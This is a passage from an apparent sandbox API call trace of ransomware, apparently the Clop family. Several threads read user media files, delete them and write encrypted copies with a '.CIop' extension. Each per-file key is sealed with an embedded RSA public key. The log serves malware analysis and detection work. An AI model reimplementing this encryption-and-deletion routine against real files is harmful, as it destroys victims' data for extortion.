2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x326d5b8, pcbBinary=0x326d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0104.054] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x326d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598 | out: pvStructInfo=0x326d5a0, pcbStructInfo=0x326d598) returned 1 [0104.054] CryptAcquireContextW (in: phProv=0x326d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x326d5a8*=0x2f1a560) returned 1 [0104.056] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f1a560, dwCertEncodingType=0x1, pInfo=0x691ee8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x326d5b0 | out: phKey=0x326d5b0*=0x67e4b8) returned 1 [0104.057] CryptEncrypt (in: hKey=0x67e4b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x326d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x326d5b4*=0x80) returned 1 [0104.057] CryptEncrypt (in: hKey=0x67e4b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f1b198*, pdwDataLen=0x326d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f1b198*, pdwDataLen=0x326d5a4*=0x80) returned 1 [0104.057] WriteFile (in: hFile=0x624, lpBuffer=0x2f1b198*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x326e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1b198*, lpNumberOfBytesWritten=0x326e5d8*=0x80, lpOverlapped=0x0) returned 1 [0104.057] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.057] VirtualFree (lpAddress=0x2eb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0104.057] VirtualFree (lpAddress=0x2ec0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0104.058] CloseHandle (hObject=0x624) returned 1 [0104.250] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\37Pif51-yjT\\kDpdV 3nnSnJmGqPO.ppt" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\37pif51-yjt\\kdpdv 3nnsnjmgqpo.ppt")) returned 0 Thread: id = 197 os_tid = 0xd40 [0103.904] lstrcpyA (in: lpString1=0x312e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0103.904] lstrcpyW (in: lpString1=0x312f368, lpString2="S20n9CABG0uo.mp4" | out: lpString1="S20n9CABG0uo.mp4") returned="S20n9CABG0uo.mp4" [0103.904] lstrcpyW (in: lpString1=0x312f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\" [0103.904] SetErrorMode (uMode=0x1) returned 0x1 [0103.904] wsprintfW (in: param_1=0x312eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\S20n9CABG0uo.mp4") returned 58 [0103.904] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\S20n9CABG0uo.mp4", dwFileAttributes=0x20) returned 1 [0103.905] StrStrW (lpFirst="S20n9CABG0uo.mp4", lpSrch=".CIop") returned 0x0 [0103.905] wsprintfW (in: param_1=0x312e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\S20n9CABG0uo.mp4.CIop") returned 63 [0103.905] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\S20n9CABG0uo.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\wnn lopk\\s20n9cabg0uo.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x61c [0103.905] ReadFile (in: hFile=0x61c, lpBuffer=0x2f01088, nNumberOfBytesToRead=0x1d60, lpNumberOfBytesRead=0x312e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2f01088*, lpNumberOfBytesRead=0x312e5e8*=0x1d60, lpOverlapped=0x0) returned 1 [0103.905] CloseHandle (hObject=0x61c) returned 1 [0103.905] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\S20n9CABG0uo.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\wnn lopk\\s20n9cabg0uo.mp4")) returned 1 [0103.959] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2ee0000 [0103.959] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x32b0000 [0103.959] SetErrorMode (uMode=0x1) returned 0x1 [0103.959] CryptAcquireContextW (in: phProv=0x312e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x312e5b8*=0x2f1a5e8) returned 1 [0103.969] CryptGenKey (in: hProv=0x2f1a5e8, Algid=0x1, dwFlags=0x4000, phKey=0x312e5bc | out: phKey=0x312e5bc*=0x67e638) returned 1 [0104.235] CryptExportKey (in: hKey=0x67e638, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x312e5ec | out: pbData=0x0*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0104.235] CryptExportKey (in: hKey=0x67e638, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x32b0000, pdwDataLen=0x312e5ec | out: pbData=0x32b0000*, pdwDataLen=0x312e5ec*=0x94) returned 1 [0104.235] CryptDestroyKey (hKey=0x67e638) returned 1 [0104.235] CryptReleaseContext (hProv=0x2f1a5e8, dwFlags=0x0) returned 1 [0104.235] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\S20n9CABG0uo.mp4.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\wnn lopk\\s20n9cabg0uo.mp4.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0104.235] WriteFile (in: hFile=0x624, lpBuffer=0x2f01088*, nNumberOfBytesToWrite=0x1d60, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f01088*, lpNumberOfBytesWritten=0x312e5d8*=0x1d60, lpOverlapped=0x0) returned 1 [0104.236] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d60 [0104.236] WriteFile (in: hFile=0x624, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x312e5d8*=0x7, lpOverlapped=0x0) returned 1 [0104.236] SetFilePointer (in: hFile=0x624, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1d67 [0104.236] SetErrorMode (uMode=0x1) returned 0x1 [0104.236] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0104.236] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x312d5b8, pcbBinary=0x312d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0104.236] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x312d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598 | out: pvStructInfo=0x312d5a0, pcbStructInfo=0x312d598) returned 1 [0104.236] CryptAcquireContextW (in: phProv=0x312d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x312d5a8*=0x2f1ad58) returned 1 [0104.239] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f1ad58, dwCertEncodingType=0x1, pInfo=0x691ad8, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x312d5b0 | out: phKey=0x312d5b0*=0x67e738) returned 1 [0104.239] CryptEncrypt (in: hKey=0x67e738, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x312d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x312d5b4*=0x80) returned 1 [0104.239] CryptEncrypt (in: hKey=0x67e738, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f1a5e8*, pdwDataLen=0x312d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f1a5e8*, pdwDataLen=0x312d5a4*=0x80) returned 1 [0104.239] WriteFile (in: hFile=0x624, lpBuffer=0x2f1a5e8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x312e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1a5e8*, lpNumberOfBytesWritten=0x312e5d8*=0x80, lpOverlapped=0x0) returned 1 [0104.239] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.239] VirtualFree (lpAddress=0x2ee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0104.240] VirtualFree (lpAddress=0x32b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0104.240] CloseHandle (hObject=0x624) returned 1 [0104.241] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\S20n9CABG0uo.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\wnn lopk\\s20n9cabg0uo.mp4")) returned 0 Thread: id = 198 os_tid = 0xd4c [0103.984] lstrcpyA (in: lpString1=0x347e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0103.984] lstrcpyW (in: lpString1=0x347f368, lpString2="62uD.avi" | out: lpString1="62uD.avi") returned="62uD.avi" [0103.984] lstrcpyW (in: lpString1=0x347f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" [0103.984] SetErrorMode (uMode=0x1) returned 0x1 [0103.984] wsprintfW (in: param_1=0x347eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\62uD.avi") returned 55 [0103.984] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\62uD.avi", dwFileAttributes=0x20) returned 1 [0103.985] StrStrW (lpFirst="62uD.avi", lpSrch=".CIop") returned 0x0 [0103.985] wsprintfW (in: param_1=0x347e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\62uD.avi.CIop") returned 60 [0103.985] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\62uD.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\wnn lopk\\ugeh\\62ud.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x624 [0103.986] ReadFile (in: hFile=0x624, lpBuffer=0x2ef0048, nNumberOfBytesToRead=0x6590, lpNumberOfBytesRead=0x347e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2ef0048*, lpNumberOfBytesRead=0x347e5e8*=0x6590, lpOverlapped=0x0) returned 1 [0103.987] CloseHandle (hObject=0x624) returned 1 [0103.987] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\62uD.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\wnn lopk\\ugeh\\62ud.avi")) returned 1 [0103.987] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x32c0000 [0103.988] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x32d0000 [0103.988] SetErrorMode (uMode=0x1) returned 0x1 [0103.988] CryptAcquireContextW (in: phProv=0x347e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x347e5b8*=0x2f1a780) returned 1 [0103.997] CryptGenKey (in: hProv=0x2f1a780, Algid=0x1, dwFlags=0x4000, phKey=0x347e5bc | out: phKey=0x347e5bc*=0x67e838) returned 1 [0104.188] CryptExportKey (in: hKey=0x67e838, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x347e5ec | out: pbData=0x0*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0104.188] CryptExportKey (in: hKey=0x67e838, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x32d0000, pdwDataLen=0x347e5ec | out: pbData=0x32d0000*, pdwDataLen=0x347e5ec*=0x94) returned 1 [0104.188] CryptDestroyKey (hKey=0x67e838) returned 1 [0104.188] CryptReleaseContext (hProv=0x2f1a780, dwFlags=0x0) returned 1 [0104.188] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\62uD.avi.CIop" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\wnn lopk\\ugeh\\62ud.avi.ciop"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x638 [0104.189] WriteFile (in: hFile=0x638, lpBuffer=0x2ef0048*, nNumberOfBytesToWrite=0x6590, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2ef0048*, lpNumberOfBytesWritten=0x347e5d8*=0x6590, lpOverlapped=0x0) returned 1 [0104.190] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x6590 [0104.190] WriteFile (in: hFile=0x638, lpBuffer=0x414c2c*, nNumberOfBytesToWrite=0x7, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x414c2c*, lpNumberOfBytesWritten=0x347e5d8*=0x7, lpOverlapped=0x0) returned 1 [0104.190] SetFilePointer (in: hFile=0x638, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x6597 [0104.190] SetErrorMode (uMode=0x1) returned 0x1 [0104.190] lstrlenA (lpString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned 271 [0104.190] CryptStringToBinaryA (in: pszString="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----", cchString=0x0, dwFlags=0x0, pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x347d5b8, pcbBinary=0x347d5ac, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0104.190] CryptDecodeObjectEx (in: dwCertEncodingType=0x1, lpszStructType=0x8, pbEncoded=0x347d5b8, cbEncoded=0xa2, dwFlags=0x8000, pDecodePara=0x0, pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598 | out: pvStructInfo=0x347d5a0, pcbStructInfo=0x347d598) returned 1 [0104.190] CryptAcquireContextW (in: phProv=0x347d5a8, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x347d5a8*=0x2f1a780) returned 1 [0104.193] CryptImportPublicKeyInfoEx (in: hCryptProv=0x2f1a780, dwCertEncodingType=0x1, pInfo=0x692228, aiKeyAlg=0x0, dwFlags=0x0, pvAuxInfo=0x0, phKey=0x347d5b0 | out: phKey=0x347d5b0*=0x67e678) returned 1 [0104.193] CryptEncrypt (in: hKey=0x67e678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x347d5b4*=0x75, dwBufLen=0x75 | out: pbData=0x0*, pdwDataLen=0x347d5b4*=0x80) returned 1 [0104.193] CryptEncrypt (in: hKey=0x67e678, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2f1a340*, pdwDataLen=0x347d5a4*=0x75, dwBufLen=0x80 | out: pbData=0x2f1a340*, pdwDataLen=0x347d5a4*=0x80) returned 1 [0104.193] WriteFile (in: hFile=0x638, lpBuffer=0x2f1a340*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x347e5d8, lpOverlapped=0x0 | out: lpBuffer=0x2f1a340*, lpNumberOfBytesWritten=0x347e5d8*=0x80, lpOverlapped=0x0) returned 1 [0104.193] SetFilePointer (in: hFile=0x74f66590, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0104.193] VirtualFree (lpAddress=0x32c0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0104.193] VirtualFree (lpAddress=0x32d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0104.193] CloseHandle (hObject=0x638) returned 1 [0104.195] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\62uD.avi" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\wnn lopk\\ugeh\\62ud.avi")) returned 0 Thread: id = 199 os_tid = 0xd50 [0104.242] lstrcpyA (in: lpString1=0x357e5f8, lpString2="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" | out: lpString1="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----") returned="-----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC01RzGfT2wX535F129PXlD5Z1n 2O8qkkrmrg/vADiRjD7qDmYyk4rqMJZ54n/4HiyheDOX/svnCBqxrNZKJMJ3D2ho /yxjUFUlzpRDngNVCMMQfrqEyEZNBeKdYgdZqbPqEn26SQ+ucVzvyIRWdRBS4MMm NmC3la0g54+CesAv1QIDAQAB -----END PUBLIC KEY-----" [0104.242] lstrcpyW (in: lpString1=0x357f368, lpString2="Eowo0nLnhzDtXx7wGkmW.mp4" | out: lpString1="Eowo0nLnhzDtXx7wGkmW.mp4") returned="Eowo0nLnhzDtXx7wGkmW.mp4" [0104.242] lstrcpyW (in: lpString1=0x357f768, lpString2="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" | out: lpString1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\") returned="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\" [0104.242] SetErrorMode (uMode=0x1) returned 0x1 [0104.242] wsprintfW (in: param_1=0x357eb68, param_2="%s%s" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\Eowo0nLnhzDtXx7wGkmW.mp4") returned 71 [0104.242] SetFileAttributesW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\Eowo0nLnhzDtXx7wGkmW.mp4", dwFileAttributes=0x20) returned 1 [0104.242] StrStrW (lpFirst="Eowo0nLnhzDtXx7wGkmW.mp4", lpSrch=".CIop") returned 0x0 [0104.243] wsprintfW (in: param_1=0x357e758, param_2="%s%s.CIop" | out: param_1="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\Eowo0nLnhzDtXx7wGkmW.mp4.CIop") returned 76 [0104.243] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\Eowo0nLnhzDtXx7wGkmW.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\wnn lopk\\ugeh\\eowo0nlnhzdtxx7wgkmw.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x60c [0104.243] ReadFile (in: hFile=0x60c, lpBuffer=0x2ef0048, nNumberOfBytesToRead=0x64c2, lpNumberOfBytesRead=0x357e5e8, lpOverlapped=0x0 | out: lpBuffer=0x2ef0048*, lpNumberOfBytesRead=0x357e5e8*=0x64c2, lpOverlapped=0x0) returned 1 [0104.243] CloseHandle (hObject=0x60c) returned 1 [0104.243] DeleteFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\Eowo0nLnhzDtXx7wGkmW.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\wnn lopk\\ugeh\\eowo0nlnhzdtxx7wgkmw.mp4")) returned 1 [0104.275] VirtualAlloc (lpAddress=0x0, dwSize=0x75, flAllocationType=0x3000, flProtect=0x4) returned 0x2eb0000 [0104.275] VirtualAlloc (lpAddress=0x0, dwSize=0x12c, flAllocationType=0x3000, flProtect=0x4) returned 0x2ec0000 [0104.276] SetErrorMode (uMode=0x1) returned 0x1 [0104.276] CryptAcquireContextW (in: phProv=0x357e5b8, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0x0 | out: phProv=0x357e5b8*=0x2f1aef0) returned 1 [0104.285] CryptGenKey (in: hProv=0x2f1aef0, Algid=0x1, dwFlags=0x4000, phKey=0x357e5bc | out: phKey=0x357e5bc*=0x67e5f8) returned 1 [0104.431] CryptExportKey (in: hKey=0x67e5f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x0, pdwDataLen=0x357e5ec | out: pbData=0x0*, pdwDataLen=0x357e5ec*=0x94) returned 1 [0104.431] CryptExportKey (in: hKey=0x67e5f8, hExpKey=0x0, dwBlobType=0x6, dwFlags=0x0, pbData=0x2ec0000, pdwDataLen=0x357e5ec | out: pbData=0x2ec0000*, pdwDataLen=0x357e5ec*=0x94) returned 1 [0104.431] CryptDestroyKey (hKey=0x67e5f8) returned 1 [0104.431] CryptReleaseContext (hProv=0x2f1aef0, dwFlags=0x0) returned 1 [0104.431] CreateFileW (lpFileName="\\\\?\\C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\Eowo0nLnhzDtXx7wGkmW.mp4.CIop" (normalized: 